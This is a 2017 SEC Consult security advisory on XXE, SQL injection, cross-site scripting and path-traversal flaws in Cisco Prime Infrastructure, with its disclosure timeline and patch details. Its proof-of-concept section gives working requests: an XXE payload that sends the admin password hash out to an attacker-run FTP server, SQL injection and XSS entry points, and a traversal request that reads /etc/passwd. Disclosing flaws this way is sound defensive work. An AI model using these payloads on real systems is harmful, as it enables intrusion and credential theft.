SEC Consult Vulnerability Lab Security Advisory < 20170622-0 >
=======================================================================
title: XML External Entity Injection (XXE),
SQL Injection, Cross Site Scripting,
Local File Disclosure
product: Cisco Prime Infrastructure
vulnerable version: 1.1 through 3.1.6
fixed version: 3.1.6 Update 1 (patch), 3.1.7 (future release)
CVE number: CVE-2017-6662, CVE-2017-6698, CVE-2017-6699, CVE-2017-6700
impact: high
homepage: www.cisco.com/c/en/us/products/cloud-systems-management/prime-infrastructure/index.html
found: 2016-11-21
by: P. Morimoto (Office Bangkok)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich
=======================================================================
Vendor description:
-------------------
"Cisco Systems, Inc. (known as Cisco) is an American multinational technology
conglomerate headquartered in San José, California, that develops,
manufactures, and sells networking hardware, telecommunications equipment,
and other high-technology services and products. Through its numerous acquired
subsidiaries, such as OpenDNS, Cisco Meraki, and Cisco Jasper,
Cisco specializes into specific tech markets, such as Internet of Things (IoT),
domain security, and energy management."
Source: en.wikipedia.org/wiki/Cisco_Systems
Business recommendation:
------------------------
SEC Consult recommends to install the latest patch to fix the identified
vulnerabilities. Furthermore, the Cisco Prime Infrastructure should be
reachable only from trusted internal network and/or whitelisted IP addresses.
Since SEC Consult only performed a short security crash test on this product
it is highly recommended to perform a thorough security review as there are
indications for further vulnerabilities.
Vulnerability overview/description:
-----------------------------------
SEC Consult was able to identify some serious vulnerabilities with the
low privileged "monitor-only" user.
1) XML External Entity Injection (CVE-2017-6662)
The used XML parser is resolving external XML entities which allows attackers
to read files and send requests to systems on the internal network (e.g port
scanning).
The vulnerability can be exploited by a low privileged read-only user
to read sensitive information files with malicious XML code.
The hashed password of the local admin user can be accessed without
authorization.
2) SQL Injection (CVE-2017-6698)
The identified SQL injection vulnerability enables an authenticated attacker
with low privileges to execute arbitrary SQL commands.
3) Cross site scripting (CVE-2017-6699, CVE-2017-6700)
Due to the lack of input validation, an attacker can insert malicious JavaScript
code to be executed under a victim's browser context.
4) Local File Disclosure (no CVE assigned)
Because of insufficient input validation, arbitrary local files can be
disclosed. Files that include passwords and other sensitive information can
be accessed.
Proof of concept:
-----------------
1) XML External Entity Injection (CVE-2017-6662)
Login with a low privileged user and navigate to Settings > Export >
select Format 'PDF' click 'Export'.
Make sure the 'Chart' option is selected, this chart uses XML to build SVG
images.
POST /webacs/prime/ui/dashboard/renderer HTTP/1.1
Host: <CiscoPrimeHost>
[...]
output-type=pdf&content={"applicationName":"sectest","reportName":"Site","options":{},"timezoneOffset":0,"items":[{"options":{"filters":[],"additionalInfo":[""]},"svgSurface":{"svg":"<%3fxml+version%3d\"1.0\"+encoding%3d\"UTF-8\"%3f>%25%66%6f%6f%3b%25%70%61%72%61%6d%31%3b]><svg+xmlns%3alink%3d\"http%3a//www.w3.org/1999/xlink\"+xmlns%3d\"http%3a//www.w3.org/2000/svg\"><defs/><text>%26%65%78%66%69%6c%3b</text></svg>","dims"%3a{"width"%3a0,"height"%3a0}},"csv"%3a"Devices,\"","title"%3a"","timestamp"%3a""}],"noBrandingData"%3atrue,"locale"%3a"en"}&pdfOptions=%7B%22table%22%3Atrue%2C%22chart%22%3Atrue%7D
$ cat sectest.dtd
">
$ python -m SimpleHTTPServer 1234
$ wget raw.githubusercontent.com/ONsec-Lab/scripts/master/xxe-ftp-server.rb
$ ruby xxe-ftp-server.rb
FTP. New client connected
< USER anonymous
< PASS Java1.8.0_66@
> 230 more data please!
< TYPE I
> 230 more data please!
< CWD !
> 230 more data please!
< hostname <CiscoPrimeHost>
[...]
< !
> 230 more data please!
< username admin password hash <AdminHashedPassword>
> 230 more data please!
< CWD role admin
> 230 more data please!
< !
[...]
2) SQL Injection (CVE-2017-6698)
A low privileged user such as "monitor-only" user can read the admin's
password hashes via SQL injection.
<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/PI_RECENT_LINKS;
<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/syslog_viewer_tutorial;
<CiscoPrimeHost>/webacs/rs/device-rest/getfiltercriteria/device
Some vulnerable entry points require administrator privileges to exploit.
<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/PI_HOME_PAGE_SELECTION;
<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/corelated-right-tabs;
<CiscoPrimeHost>/webacs/rs/json/userService/getAuditRecordsForGivenRange/;
<CiscoPrimeHost>/webacs/rs/json/jobSchedulerService/getJobDetails/<SQL-Injection>
<CiscoPrimeHost>/webacs/rs/json/jobSchedulerService/getAllJobsCtr/Infrastructure/<SQL-Injection>
Some URLs with this pattern are affected by the SQL injection vulnerability
in the JSON field.
<CiscoPrimeHost>/webacs/rs/preferences/systemPreferencesForNode/default.proxy/ (HTTP POST)
{
"items": [
"<SQL-Injection>",
"ProxyPort",
"ProxyUserName",
"ProxyPassword",
"isProxyEnabled",
"isProxyAuthenticated"
]
}
<CiscoPrimeHost>/webacs/rs/preferences/systemPreferencesForNode/default.swim/ (HTTP POST)
{
"items": [
"<SQL-Injection>",
"CCOPassword"
]
}
3) Cross site scripting
a) Reflected cross site scripting (CVE-2017-6699)
<CiscoPrimeHost>/webacs/applications/common/jsp/SystemPreferences_Configurable.jsp;
<CiscoPrimeHost>/webacs/applications/inventory/html/ImportJobResults.jsp;
b) DOM-based cross site scripting (CVE-2017-6700)
<CiscoPrimeHost>/webacs/index_abs.jsp=
<CiscoPrimeHost>/webacs/loginAction.do Service Status&jobBreadcrumName=">
4) Local File Disclosure
The attacker must be in the super users or admin group in order to exploit this
vulnerability.
<CiscoPrimeHost>/webacs/packetCaptureAction.do
GET /webacs/packetCaptureAction.do?command=download&filename=../../../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: <CiscoPrimeHost>
[...]
HTTP/1.1 200 OK
Cache-Control: private
Expires: Thu, 01 Jan 1970 01:00:00 CET
Content-Disposition: attachement; filename="../../../../../../../../../../../../../../../../../../../../etc/passwd.zip"
Content-Type: application/zip
[...]
$ unzip _.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._etc_passwd.zip
Archive: _.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._etc_passwd.zip
warning: skipped "../" path component(s) in ../../../../../../../../../../../../../../../../../../../../etc/passwd
inflating: etc/passwd
$ cat etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
[...]
Vulnerable / tested versions:
-----------------------------
According to information provided by Cisco, the following versions are affected:
1.1 through 3.1.6
SEC Consult tested the following versions which were the most recent ones at the
time of discovery:
* 3.1.0.0.70
* 3.1.0.0.132 incl. 3.1.4 patch
Vendor contact timeline:
------------------------
2016-11-23: Contacting vendor through psirt@cisco.com.
2016-11-23: Initial response from Cisco PSIRT.
2016-11-24: Additional vulnerabilities added.
2016-12-14: Cisco proposed target date for the fixes for March 2017.
2017-03-03: Cisco postponed target date for the fixes to 31 May 2017.
2017-05-16: Cisco postponed target date for the fixes to 21 June 2017.
2017-06-14: CVEs are assigned to the vulnerabilities.
2017-06-21: Patches available
2017-06-22: Coordinated release of security advisory.
Solution:
---------
Install the patch version 3.1.6 Update 1.
Download URL for the patch:
software.cisco.com/download/release.html
For more details about the fixes can be found within the Cisco security advisories:
Vuln 1) Cisco Prime Infrastructure and Evolved Programmable Network Manager XML Injection Vulnerability (CVE-2017-6662)
tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170621-piepnm1
Vuln 2) Cisco Prime Infrastructure and Evolved Programmable Network Manager SQL Injection Vulnerability (CVE-2017-6698)
tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170621-piepnm2
Vuln 3a) Cisco Prime Infrastructure and Evolved Programmable Network Manager Reflected Cross-Site Scripting Vulnerability (CVE-2017-6699)
tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170621-piepnm3
Vuln 3b) Cisco Prime Infrastructure and Evolved Programmable Network Manager DOM Cross-Site Scripting Vulnerability (CVE-2017-6700)
tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170621-piepnm4
Vuln 4) Local file disclosure (no CVE assigned because of lower CVSSv3 score)
bst.cloudapps.cisco.com/bugsearch/bug/CSCvc25573
bst.cloudapps.cisco.com/bugsearch/bug/CSCvc49548
Workaround:
-----------
None
Advisory URL:
-------------
www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
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EOF Pichaya Morimoto / @2017